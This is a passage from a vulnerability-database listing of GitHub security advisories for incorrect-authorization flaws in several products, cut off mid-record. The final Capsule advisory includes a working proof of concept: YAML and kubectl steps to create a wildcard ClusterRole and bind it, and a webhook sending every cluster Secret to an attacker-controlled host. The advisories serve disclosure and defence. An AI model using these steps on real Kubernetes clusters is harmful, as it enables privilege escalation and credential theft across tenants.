Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5550 vulnerabilities reference this CWE, most recent first.

GHSA-QHHH-GXXV-PG3H

Vulnerability from github – Published: 2023-06-07 03:30 – Updated: 2024-04-04 04:37
VLAI
Details

The WPS Hide Login plugin for WordPress is vulnerable to login page disclosure even when the settings of the plugin are set to hide the login page making it possible for unauthenticated attackers to brute force credentials on sites in versions up to, and including, 1.5.4.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-36710"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-07T02:15:11Z",
    "severity": "HIGH"
  },
  "details": "The WPS Hide Login plugin for WordPress is vulnerable to login page disclosure even when the settings of the plugin are set to hide the login page making it possible for unauthenticated attackers to brute force credentials on sites in versions up to, and including, 1.5.4.2.",
  "id": "GHSA-qhhh-gxxv-pg3h",
  "modified": "2024-04-04T04:37:29Z",
  "published": "2023-06-07T03:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36710"
    },
    {
      "type": "WEB",
      "url": "https://blog.nintechnet.com/wordpress-wps-hide-login-fixed-security-issue"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7808329f-1688-480c-a83c-c4ab2fa86da6?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QHMH-X535-R77M

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44
VLAI
Details

Because of insufficient authorization checks it is possible for any authenticated user to change profile data of other users in Pleasant Password Server before 7.8.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-17708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-31T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Because of insufficient authorization checks it is possible for any authenticated user to change profile data of other users in Pleasant Password Server before 7.8.3.",
  "id": "GHSA-qhmh-x535-r77m",
  "modified": "2022-05-13T01:44:27Z",
  "published": "2022-05-13T01:44:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17708"
    },
    {
      "type": "WEB",
      "url": "https://www.profundis-labs.com/advisories/CVE-2017-17708.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QHMJ-29VH-8MJM

Vulnerability from github – Published: 2022-07-01 00:01 – Updated: 2022-12-12 20:19
VLAI
Summary
Incorrect Authorization in Jenkins Request Rename Or Delete Plugin
Details

Jenkins Request Rename Or Delete Plugin 1.1.0 and earlier does not correctly perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to view an administrative configuration page listing pending requests.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:rrod"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-34814"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-12T18:16:57Z",
    "nvd_published_at": "2022-06-30T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Request Rename Or Delete Plugin 1.1.0 and earlier does not correctly perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to view an administrative configuration page listing pending requests.",
  "id": "GHSA-qhmj-29vh-8mjm",
  "modified": "2022-12-12T20:19:46Z",
  "published": "2022-07-01T00:01:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34814"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/rrod-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-06-30/#SECURITY-1996"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incorrect Authorization in Jenkins Request Rename Or Delete Plugin"
}

GHSA-QHQ3-6VGR-J7JC

Vulnerability from github – Published: 2023-05-18 12:30 – Updated: 2023-05-18 12:30
VLAI
Details

Sensitive information disclosure due to improper authorization. The following products are affected: Acronis Cyber Infrastructure (ACI) before build 5.3.1-38.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-2782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-18T11:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Sensitive information disclosure due to improper authorization. The following products are affected: Acronis Cyber Infrastructure (ACI) before build 5.3.1-38.",
  "id": "GHSA-qhq3-6vgr-j7jc",
  "modified": "2023-05-18T12:30:15Z",
  "published": "2023-05-18T12:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2782"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-3475"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QHVC-3GGX-6RJ7

Vulnerability from github – Published: 2026-05-29 21:31 – Updated: 2026-05-29 21:31
VLAI
Details

In JetBrains TeamCity before 2026.1 insufficient username validation in the SAML plugin

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-49376"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-29T19:16:27Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains TeamCity before 2026.1 insufficient username validation in the SAML plugin",
  "id": "GHSA-qhvc-3ggx-6rj7",
  "modified": "2026-05-29T21:31:23Z",
  "published": "2026-05-29T21:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49376"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QJ22-XQJR-V83V

Vulnerability from github – Published: 2026-03-03 18:09 – Updated: 2026-03-03 18:09
VLAI
Summary
OpenClaw's Telegram message_reaction authorization bypass allows unauthorized system-event injection
Details

A missing sender-authorization check in Telegram message_reaction handling allowed unauthorized users to trigger reaction-derived system events.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Introduced: 2026.2.17
  • Affected: >= 2026.2.17 and <= 2026.2.24
  • Latest published at patch time: 2026.2.24
  • Patched in release: 2026.2.25

Impact

When reaction notifications are enabled, unauthorized Telegram senders could inject reaction system events despite configured DM/group authorization controls (dmPolicy, allowFrom, groupPolicy, groupAllowFrom).

Fix Commit(s)

  • e56b0cf1a04f992ac6ebc775899f48ea31687640

Release Process Note

patched_versions is pre-set to the release (2026.2.25) so once npm release 2026.2.25 is published, this advisory can be published without further edits.

OpenClaw thanks @tdjackey for reporting.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.2.24"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T18:09:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A missing sender-authorization check in Telegram `message_reaction` handling allowed unauthorized users to trigger reaction-derived system events.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Introduced: `2026.2.17`\n- Affected: `\u003e= 2026.2.17` and `\u003c= 2026.2.24`\n- Latest published at patch time: `2026.2.24`\n- Patched in release: `2026.2.25`\n\n## Impact\n\nWhen reaction notifications are enabled, unauthorized Telegram senders could inject reaction system events despite configured DM/group authorization controls (`dmPolicy`, `allowFrom`, `groupPolicy`, `groupAllowFrom`).\n\n## Fix Commit(s)\n\n- `e56b0cf1a04f992ac6ebc775899f48ea31687640`\n\n## Release Process Note\n\n`patched_versions` is pre-set to the release (`2026.2.25`) so once npm release `2026.2.25` is published, this advisory can be published without further edits.\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-qj22-xqjr-v83v",
  "modified": "2026-03-03T18:09:08Z",
  "published": "2026-03-03T18:09:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qj22-xqjr-v83v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/e56b0cf1a04f992ac6ebc775899f48ea31687640"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw\u0027s Telegram message_reaction authorization bypass allows unauthorized system-event injection"
}

GHSA-QJ7P-FVH6-8GG6

Vulnerability from github – Published: 2022-05-13 01:18 – Updated: 2022-05-13 01:18
VLAI
Details

GNU screen before 4.5.1 allows local users to modify arbitrary files and consequently gain root privileges by leveraging improper checking of logfile permissions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-5618"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-20T16:59:00Z",
    "severity": "HIGH"
  },
  "details": "GNU screen before 4.5.1 allows local users to modify arbitrary files and consequently gain root privileges by leveraging improper checking of logfile permissions.",
  "id": "GHSA-qj7p-fvh6-8gg6",
  "modified": "2022-05-13T01:18:22Z",
  "published": "2022-05-13T01:18:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5618"
    },
    {
      "type": "WEB",
      "url": "https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "http://git.savannah.gnu.org/cgit/screen.git/patch/?id=1c6d2817926d30c9a7a97d99af7ac5de4a5845b8"
    },
    {
      "type": "WEB",
      "url": "http://git.savannah.gnu.org/cgit/screen.git/tree/src/ChangeLog?h=v.4.5.1"
    },
    {
      "type": "WEB",
      "url": "http://savannah.gnu.org/bugs/?50142"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/01/29/3"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95873"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QJ85-69XF-2VXQ

Vulnerability from github – Published: 2024-08-27 19:53 – Updated: 2024-08-28 20:06
VLAI
Summary
AWS CDK RestApi not generating authorizationScope correctly in resultant CFN template
Details

Summary

The AWS Cloud Development Kit (CDK) is an open-source framework for defining cloud infrastructure using code. Customers use it to create their own applications which are converted to AWS CloudFormation templates during deployment to a customer’s AWS account. CDK contains pre-built components called "constructs" that are higher-level abstractions providing defaults and best practices. This approach enables developers to use familiar programming languages to define complex cloud infrastructure more efficiently than writing raw CloudFormation templates.

We identified an issue in AWS Cloud Development Kit (CDK) which, under certain conditions, can result in granting authenticated Amazon Cognito users broader than intended access. Specifically, if a CDK application uses the "RestApi" construct with "CognitoUserPoolAuthorizer" as the authorizer and uses authorization scopes to limit access. This issue does not affect the availability of the specific API resources.

Impact

Authenticated Cognito users may gain unintended access to protected API resources or methods, leading to potential data disclosure, and modification issues.

Impacted versions: >=2.142.0;<=2.148.0

Patches

The patch is included in CDK version >=2.148.1.

Recommended Actions

  • Upgrade your AWS CDK version to 2.148.1 or newer and re-deploy your application(s) to address this issue.
  • If you are using older CDK versions before 2.142.0, you are not affected by this issue, however it is recommended to upgrade to the latest version to receive the latest features and fixes.
  • Confirm whether your application(s) is affected by searching for "CognitoUserPoolsAuthorizer" in your CDK application. If it is referenced inside the "RestApi" construct, and the "RestApi" resource or method utilize authorization scopes to limit access, and you deployed your applications using the impacted versions of CDK, your application is affected.

References

  • AWS CDK Documentation: https://docs.aws.amazon.com/cdk/v2/guide/home.html
  • AWS CDK RestApi Construct Documentation: https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk-lib.aws_apigateway.RestApi.html
  • AWS CDK CognitoUserPoolsAuthorizer Documentation: https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk- lib.aws_apigateway.CognitoUserPoolsAuthorizer.html
  • AWS CDK v2.148.1 Release Notes: https://github.com/aws/aws-cdk/releases/tag/v2.148.1

If you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.

[1] Vulnerability reporting page: https://aws.amazon.com/security/vulnerability-reporting

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.148.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "aws-cdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.142.0"
            },
            {
              "fixed": "2.148.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-27T19:53:21Z",
    "nvd_published_at": "2024-08-27T19:15:17Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe AWS Cloud Development Kit (CDK) is an open-source framework for defining cloud infrastructure using code. Customers use it to create their own applications which are converted to AWS CloudFormation templates during deployment to a customer\u2019s AWS account. CDK contains pre-built components called \"constructs\" that are higher-level abstractions providing defaults and best practices. This approach enables developers to use familiar programming languages to define complex cloud infrastructure more efficiently than writing raw CloudFormation templates. \n\nWe identified an issue in AWS Cloud Development Kit (CDK) which, under certain conditions, can result in granting authenticated Amazon Cognito users broader than intended access. Specifically, if a CDK application uses the \"RestApi\" construct with \"CognitoUserPoolAuthorizer\" as the authorizer and uses authorization scopes to limit access. This issue does not affect the availability of the specific API resources. \n\n### Impact\nAuthenticated Cognito users may gain unintended access to protected API resources or methods, leading to potential data disclosure, and modification issues. \n\nImpacted versions: \u003e=2.142.0;\u003c=2.148.0\n\n### Patches\nThe patch is included in CDK version \u003e=2.148.1.\n\n### Recommended Actions\n* Upgrade your AWS CDK version to 2.148.1 or newer and re-deploy your application(s) to address this issue.\n* If you are using older CDK versions before 2.142.0, you are not affected by this issue, however it is recommended to upgrade to the latest version to receive the latest features and fixes.\n* Confirm whether your application(s) is affected by searching for \"CognitoUserPoolsAuthorizer\" in your CDK application. If it is referenced inside the \"RestApi\" construct, and the \"RestApi\" resource or method utilize authorization scopes to limit access, and you deployed your applications using the impacted versions of CDK, your application is affected.\n\n\n\n### References\n* AWS CDK Documentation: https://docs.aws.amazon.com/cdk/v2/guide/home.html\n* AWS CDK RestApi Construct Documentation: https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk-[lib.aws](http://lib.aws/)_apigateway.RestApi.html\n* AWS CDK CognitoUserPoolsAuthorizer Documentation: https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk- [lib.aws](http://lib.aws/)_apigateway.CognitoUserPoolsAuthorizer.html \n* AWS CDK v2.148.1 Release Notes: https://github.com/aws/aws-cdk/releases/tag/v2.148.1\n\nIf you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n\n[1] Vulnerability reporting page: https://aws.amazon.com/security/vulnerability-reporting\n",
  "id": "GHSA-qj85-69xf-2vxq",
  "modified": "2024-08-28T20:06:12Z",
  "published": "2024-08-27T19:53:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-cdk/security/advisories/GHSA-qj85-69xf-2vxq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45037"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-cdk/commit/4bee768f07e73ab5fe466f9ad3d1845456a0513b"
    },
    {
      "type": "WEB",
      "url": "https://docs.aws.amazon.com/cdk/v2/guide/home.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aws/aws-cdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-cdk/releases/tag/v2.148.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AWS CDK RestApi not generating authorizationScope correctly in resultant CFN template"
}

GHSA-QJGH-6VQ4-Q6JF

Vulnerability from github – Published: 2025-04-15 21:31 – Updated: 2025-11-03 21:33
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.41, 8.4.0-8.4.4 and 9.0.0-9.2.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 2.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-30703"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T21:15:59Z",
    "severity": "LOW"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB).  Supported versions that are affected are 8.0.0-8.0.41, 8.4.0-8.4.4 and  9.0.0-9.2.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 2.7 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).",
  "id": "GHSA-qjgh-6vq4-q6jf",
  "modified": "2025-11-03T21:33:33Z",
  "published": "2025-04-15T21:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30703"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250502-0006"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QJJM-7J9W-PW72

Vulnerability from github – Published: 2026-05-28 17:02 – Updated: 2026-06-09 10:50
VLAI
Summary
Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability
Details

TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

Summary

The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.


Details

Vulnerability Location

File: internal/controllers/resources/processor.go Function: HandleSection() Lines: 247-285

Core Issues

  1. Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole yaml # ClusterRoleBinding: capsule-manager-rolebinding roleRef: kind: ClusterRole name: cluster-admin

  2. Missing Resource Scope Validation: Although the code calls obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field

  3. Missing Resource Type Validation: No check for whether resources are cluster-scoped

Vulnerable Code Analysis

// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
    template := string(item.Raw)

    t := fasttemplate.New(template, "{{ ", " }}")
    tmplString := t.ExecuteString(map[string]interface{}{
        "tenant.name": tnt.Name,
        "namespace":   ns.Name,
    })

    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}

    // Issue 1: Accepts any resource type, including cluster-scoped resources
    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
        []byte(tmplString), nil, &obj); decodeErr != nil {
        log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, decodeErr)
        continue
    }

    // Issue 2: For cluster-scoped resources, this setting is ignored by API
    obj.SetNamespace(ns.Name)

    // Issue 3: Controller creates with cluster-admin privileges, no scope check
    if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
        log.Info("unable to sync rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, rawErr)
    }
}

Attack Chain

Tenant Owner (bob) - Has TenantResource creation permission
  ↓
Creates TenantResource containing cluster-scoped resources
  ↓
Capsule Controller (cluster-admin) processes RawItems
  ↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
  ↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
  ↓
Cross-tenant privilege escalation / Cluster-level attacks

PoC

Environment Setup

Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)

Step 1: Verify Capsule Controller Privileges

kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml

Confirm output contains:

roleRef:
  kind: ClusterRole
  name: cluster-admin  # Controller has full cluster management privileges

Step 2: Install Capsule and Create Test Tenant

Complete Capsule installation and tenant creation following previous environment setup steps.

Step 3: Verify bob's Permission Restrictions

Verify bob can create TenantResource:

kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1

Actual output:

yes

Verify bob cannot create ClusterRole:

kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'

no

Verify bob cannot create ValidatingWebhook:

kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'

no

Attack Vector 1: Creating Malicious ClusterRole

Step 4: Create TenantResource Containing ClusterRole

Create file attack-clusterrole.yaml:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-clusterrole
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: rbac.authorization.k8s.io/v1
          kind: ClusterRole
          metadata:
            name: malicious-clusterrole
          rules:
          - apiGroups: ["*"]
            resources: ["*"]
            verbs: ["*"]

Apply configuration as bob user (critical - must specify executor):

kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-clusterrole created

Important: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.

Step 5: Verify ClusterRole Creation

kubectl get clusterrole malicious-clusterrole

Actual output:

NAME                    CREATED AT
malicious-clusterrole   2026-01-05T16:10:02Z

View details:

kubectl get clusterrole malicious-clusterrole -o yaml

Key output:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  annotations:
    capsule.clastix.io/tenant: tenant-b
  name: malicious-clusterrole
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.

Step 6: Exploit ClusterRole for Cross-Tenant Attack

Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: bob-cluster-admin
subjects:
- kind: User
  name: bob
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: malicious-clusterrole
  apiGroup: rbac.authorization.k8s.io

After applying, bob will have full cluster management privileges and can access resources of all tenants.

Attack Vector 2: Creating Malicious ValidatingWebhook

Step 7: Create TenantResource Containing Webhook

Create file attack-webhook.yaml:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-webhook
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: admissionregistration.k8s.io/v1
          kind: ValidatingWebhookConfiguration
          metadata:
            name: malicious-webhook
          webhooks:
          - name: malicious.webhook.com
            clientConfig:
              url: "https://attacker-controlled-server.com/webhook"
            rules:
            - operations: ["CREATE", "UPDATE"]
              apiGroups: [""]
              apiVersions: ["v1"]
              resources: ["secrets"]
            admissionReviewVersions: ["v1"]
            sideEffects: None
            failurePolicy: Ignore

Apply configuration as bob user:

kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-webhook created

Step 8: Verify Webhook Creation

kubectl get validatingwebhookconfiguration malicious-webhook

Actual output:

NAME                WEBHOOKS   AGE
malicious-webhook   1          5s

Verification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.

Step 9: Exploit Webhook to Steal Sensitive Data

At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:

  1. Steal Secret data from all tenants (database passwords, API keys, etc.)
  2. Modify Secret contents
  3. Deny legitimate Secret creation requests, achieving DoS attacks

Impact

Affected Scope

This vulnerability affects all Capsule deployments with the following prerequisites: 1. Capsule Controller runs with cluster-admin privileges (default configuration) 2. Tenant Owner has permission to create TenantResource

Security Impact

  1. Cross-Tenant Privilege Escalation
  2. Create ClusterRole to gain cluster-level privileges
  3. Break tenant isolation boundaries
  4. Access all resources of other tenants

  5. Large-Scale Sensitive Data Theft

  6. Intercept all Secret creation/update requests through malicious Webhook
  7. Steal passwords, API keys, certificates, etc. across the entire cluster
  8. Real-time monitoring of all tenant sensitive operations

  9. Cluster-Level Denial of Service

  10. Deny all API requests through Webhook
  11. Make the entire cluster unavailable
  12. Impact all tenants

  13. Cluster Pollution

  14. Create malicious CRDs
  15. Modify StorageClass
  16. Impact cluster stability

  17. Persistent Backdoor

  18. Created cluster-scoped resources persist
  19. Even if TenantResource is deleted, ClusterRole and other resources remain
  20. Difficult to detect and remove

Limiting Factors

  1. Requires Tenant Owner privileges
  2. Requires Capsule Controller running with cluster-admin privileges (default configuration)
  3. Some clusters may have additional admission controllers blocking malicious resources
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T17:02:55Z",
    "nvd_published_at": "2026-06-01T19:16:21Z",
    "severity": "MODERATE"
  },
